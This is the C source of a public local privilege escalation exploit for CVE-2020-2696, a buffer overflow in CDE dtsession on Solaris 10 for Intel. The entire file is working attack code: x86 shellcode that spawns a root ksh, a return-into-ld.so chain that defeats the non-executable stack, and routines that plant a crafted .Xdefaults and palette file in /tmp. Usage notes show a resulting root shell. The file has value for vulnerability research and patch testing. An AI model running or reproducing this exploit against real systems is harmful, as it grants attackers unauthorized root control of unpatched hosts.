raptor_dtsession_ipa.c

/*
 * raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel
 * Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * A buffer overflow in the CheckMonitor() function in the Common Desktop
 * Environment 2.3.1 and earlier and 1.6 and earlier, as distributed with
 * Oracle Solaris 10 1/13 (Update 11) and earlier, allows local users to gain
 * root privileges via a long palette name passed to dtsession in a malicious
 * .Xdefaults file (CVE-2020-2696).
 *
 * "I always loved Sun because it was so easy to own. Now with Solaris 11 I
 * don't like it anymore." -- ~B.
 *
 * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack
 * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory
 * space, try returning to sprintf() instead of strcpy().
 *
 * I haven't written a Solaris/SPARC version because I don't have a SPARC box
 * on which Solaris 10 can run. If anybody is kind enough to give me access to
 * such a box, I'd be happy to port my exploit to Solaris/SPARC as well.
 *
 * Usage:
 * $ gcc raptor_dtsession_ipa.c -o raptor_dtsession_ipa -Wall
 * [on your xserver: disable the access control]
 * $ ./raptor_dtsession_ipa 192.168.1.1:0
 * [...]
 * # id
 * uid=0(root) gid=1(other)
 * #
 *
 * Tested on:
 * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13)
 * [previous Solaris versions are also likely vulnerable]
 */

#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/systeminfo.h>
#include <sys/types.h>

#define INFO1	"raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel"
#define INFO2	"Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"

#define	VULN	"/usr/dt/bin/dtsession"		// the vulnerable program
#define	BUFSIZE	256				// size of the palette name
#define PADDING	3				// padding in the palette name
#define PAYSIZE	1024				// size of the payload
#define OFFSET	env_len / 2			// offset to the shellcode

char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */
/* double setuid() */
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
"\x31\xc0\x50\x50\xb0\x17\xcd\x91"
/* execve() */
"\x31\xc0\x50\x68/ksh\x68/bin"
"\x89\xe3\x50\x53\x89\xe2\x50"
"\x52\x53\xb0\x3b\x50\xcd\x91";

/* globals */
char	*env[256];
int	env_pos = 0, env_len = 0;

/* prototypes */
int	add_env(char *string);
void	check_zero(int addr, char *pattern);
int	search_ldso(char *sym);
int	search_rwx_mem(void);
void	set_val(char *buf, int pos, int val);

/*
 * main()
 */
int main(int argc, char **argv)
{
	char	buf[BUFSIZE], payload[PAYSIZE];
	char	platform[256], release[256], display[256];
	int	i, payaddr;

	char	*arg[2] = {"foo", NULL};
	int	sb = ((int)argv[0] | 0xfff);	/* stack base */
	int	ret = search_ldso("strcpy");	/* or sprintf */
	int	rwx_mem = search_rwx_mem();	/* rwx memory */

	FILE	*fp;
	char	palette_file[BUFSIZE + 18];

	/* print exploit information */
	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);

	/* read command line */
	if (argc != 2) {
		fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
		exit(1);
	}
	sprintf(display, "DISPLAY=%s", argv[1]);

	/* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */
	memset(payload, '\x90', PAYSIZE);
	payload[PAYSIZE - 1] = 0x0;
	memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc));

	/* fill the envp, keeping padding */
	add_env(payload);
	add_env(display);
	add_env("HOME=/tmp");
	add_env(NULL);

	/* calculate the payload address */
	payaddr = sb - OFFSET;

	/* prepare the evil palette name */
	memset(buf, 'A', sizeof(buf));
	buf[sizeof(buf) - 1] = 0x0;

	/* fill with function address in ld.so.1, saved eip, and arguments */
	for (i = PADDING; i < BUFSIZE - 16; i += 4) {
		set_val(buf, i, ret);		/* strcpy */
		set_val(buf, i += 4, rwx_mem);	/* saved eip */
		set_val(buf, i += 4, rwx_mem);	/* 1st argument */
		set_val(buf, i += 4, payaddr);	/* 2nd argument */
	}

	/* prepare the evil .Xdefaults file */
	fp = fopen("/tmp/.Xdefaults", "w");
	if (!fp) {
		perror("error creating .Xdefaults file");
		exit(1);
	}
	fprintf(fp, "*0*ColorPalette: %s\n", buf); // or *0*MonochromePalette
	fclose(fp);

	/* prepare the evil palette file (badchars currently not handled) */
	mkdir("/tmp/.dt", 0755);
	mkdir("/tmp/.dt/palettes", 0755);
	sprintf(palette_file, "/tmp/.dt/palettes/%s", buf);
	fp = fopen(palette_file, "w");
	if (!fp) {
		perror("error creating palette file");
		exit(1);
	}
	fprintf(fp, "Black\n");
	fclose(fp);

	/* print some output */
	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
	fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr);
	fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);

	/* run the vulnerable program */
	execve(VULN, arg, env);
	perror("execve");
	exit(0);
}

/*
 * add_env(): add a variable to envp and pad if needed
 */
int add_env(char *string)
{
	int	i;

	/* null termination */
	if (!string) {
		env[env_pos] = NULL;
		return env_len;
	}

	/* add the variable to envp */
	env[env_pos] = string;
	env_len += strlen(string) + 1;
	env_pos++;

	/* pad the envp using zeroes */
	if ((strlen(string) + 1) % 4)
		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
			env[env_pos] = string + strlen(string);
			env_len++;
		}

	return env_len;
}

/*
 * check_zero(): check an address for the presence of a 0x00
 */
void check_zero(int addr, char *pattern)
{
	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
	    !(addr & 0xff000000)) {
		fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
		exit(1);
	}
}

/*
 * search_ldso(): search for a symbol inside ld.so.1
 */
int search_ldso(char *sym)
{
	int		addr;
	void		*handle;
	Link_map	*lm;

	/* open the executable object file */
	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
		perror("dlopen");
		exit(1);
	}

	/* get dynamic load information */
	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
		perror("dlinfo");
		exit(1);
	}

	/* search for the address of the symbol */
	if ((addr = (int)dlsym(handle, sym)) == NULL) {
		fprintf(stderr, "sorry, function %s() not found\n", sym);
		exit(1);
	}

	/* close the executable object file */
	dlclose(handle);

	check_zero(addr - 4, sym);
	return addr;
}

/*
 * search_rwx_mem(): search for an RWX memory segment valid for all
 * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
 */
int search_rwx_mem(void)
{
	int	fd;
	char	tmp[16];
	prmap_t	map;
	int	addr = 0, addr_old;

	/* open the proc filesystem */
	sprintf(tmp,"/proc/%d/map", (int)getpid());
	if ((fd = open(tmp, O_RDONLY)) < 0) {
		fprintf(stderr, "can't open %s\n", tmp);
		exit(1);
	}

	/* search for the last RWX memory segment before stack (last - 1) */
	while (read(fd, &map, sizeof(map)))
		if (map.pr_vaddr)
			if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
				addr_old = addr;
				addr = map.pr_vaddr;
			}
	close(fd);

	/* add 4 to the exact address NULL bytes */
	if (!(addr_old & 0xff))
		addr_old |= 0x04;
	if (!(addr_old & 0xff00))
		addr_old |= 0x0400;

	return addr_old;
}

/*
 * set_val(): copy a dword inside a buffer (little endian)
 */
void set_val(char *buf, int pos, int val)
{
	buf[pos] =	(val & 0x000000ff);
	buf[pos + 1] =	(val & 0x0000ff00) >> 8;
	buf[pos + 2] =	(val & 0x00ff0000) >> 16;
	buf[pos + 3] =	(val & 0xff000000) >> 24;
}